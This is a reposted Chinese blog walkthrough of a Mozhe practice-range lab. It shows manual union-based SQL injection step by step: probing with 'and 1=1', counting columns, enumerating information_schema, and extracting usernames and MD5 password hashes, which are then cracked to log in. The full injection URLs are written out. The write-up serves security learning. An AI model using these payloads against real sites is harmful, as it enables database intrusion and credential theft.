在線靶場:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
進入靶場點擊通知

1.判斷注入點
在id后面輸入 and 1=1發現頁面不變

在id后面輸入 and 1=2發現頁面內容消失,所以可能存在注入點

2.判斷列名數量(使用order by猜解)
依次按順序輸入1,2,3,4,5,當輸入到5時,發現內容消失,所以只有列名數量為4

3.判斷顯示位
這里使用union聯合查詢,同時判斷2和3位存在顯示位 
4.獲取資料庫版本和作業系統
資料庫版本:version()
作業系統:@@version_compile_os 
5.獲取資料庫名和用戶
資料庫名:database()
用戶:user()

6.獲取系統登錄賬戶和密碼
information_schema.tables:記錄所有表名資訊的表
information_schema.columns:記錄所有列名資訊的表
table_name:表名
table_schema:資料庫名
collumn_name:列名
6.1查詢資料庫mozhe_Discuz_StormGroup下的表名資訊:
http://219.153.49.228:42138/new_list.php?id=-1 union select 1,group_concat(table_name ),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

這里得到兩個表
6.2查詢表StormGroup_member和notice下的列名資訊:
http://219.153.49.228:42138/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

http://219.153.49.228:42138/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice' 
由兩張圖可知排除表notice,表StormGroup_member存在系統登錄用戶和密碼
6.3通過表StormGroup_member查詢用戶登錄賬號和密碼
http://219.153.49.228:42138/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

這里我們得到一個賬戶有兩個用MD5加密過的密碼資料,對其解密


最后通過登錄發現密碼dsan13是被禁用,正確密碼為862693,成功登錄并拿到key 
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/291787.html
標籤:其他
上一篇:VMware虛擬機+Kali linux 2021.2 下載和安裝以及初始操作
下一篇:社工基礎2
